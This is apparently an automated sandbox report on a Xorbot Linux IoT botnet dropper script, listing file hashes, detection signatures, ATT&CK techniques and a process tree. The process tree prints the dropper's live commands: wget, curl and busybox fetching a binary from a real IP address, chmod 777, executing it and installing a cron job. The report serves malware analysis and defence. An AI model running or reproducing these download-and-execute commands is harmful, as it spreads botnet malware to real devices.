xorbot | a951ff81fba393bc4198415409f8debbd1810cd12428e09d4911db31b2c13865

Analysis

max time kernel
129s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
05/01/2025, 02:12

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General

Target

bins.sh
Size

10KB
MD5

14d81ef351bb6aae82ee36299ec51f37
SHA1

58f421dee90f5cf84f804bc5fdd25e6c772bd694
SHA256

a951ff81fba393bc4198415409f8debbd1810cd12428e09d4911db31b2c13865
SHA512

fd5442120434dd9da842e3d123263711ed0c0052b53d66f04c5c4b9e966208181ea139e2efdd758237a1a4500f08bad61cc6319ccd96314b97a940f4bc318c40
SSDEEP

192:Fnbdk8L13hLVWSX3Lvemcu6JdL13hLVWSLTemcu6JWXO:xdko3LYG

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2088) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1519	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE	1520	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE

Renames itself 1 IoCs

pid	Process
1521	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.4ryq8f	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/408/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1526/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1630/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1632/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1731/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/98/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/710/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1292/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1660/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1723/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1678/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/167/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/205/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1107/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1151/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1502/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1617/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/726/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1653/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1656/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1710/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1713/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1709/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1715/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/5/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/20/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/169/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1599/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1627/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1667/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1537/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1583/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1732/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/27/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/173/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/676/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1288/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1735/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/605/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1544/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1570/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1698/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1711/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1719/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1597/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1638/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/174/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/177/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1064/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1169/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1554/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1573/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1648/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1649/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1654/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1662/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1693/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/417/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/463/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1150/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1568/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1674/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/11/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
File opened for reading	/proc/1193/cmdline	LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE	wget
File opened for modification	/tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE	curl
File opened for modification	/tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1511
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://66.63.187.225/bins/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  - Writes file to tmp directory
  PID:1513
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/chmod
  chmod 777 LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  ./LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1520
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1522
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1523
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1524
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1525
- /bin/rm
  rm LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://66.63.187.225/bins/aufK8cCuLXUgGcF5gRWjQmCKH0sKidBFiY
  2⤵
  PID:1530

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/LtkpZguVtCTJd23rFFXldJBI8f2R4en4iE

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.4ryq8f

Filesize
210B

MD5
367fb79142bc67d9579d45e9e4556bb9

SHA1
4c3e9d83747016237e41481e70eecebfc35ba3cf

SHA256
b034f1ab620299cae1ca10ac3651e9919629638a9199de73f91d6f43b5b095b6

SHA512
2f8a3ce423f0805df9522ba19a20d365c87e0e251fe1858682889efb0990a617742ee6b2eb5d1e90e11f6bb307af6cdc1d033be03ada5ea734d77e0b3759a5e6

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads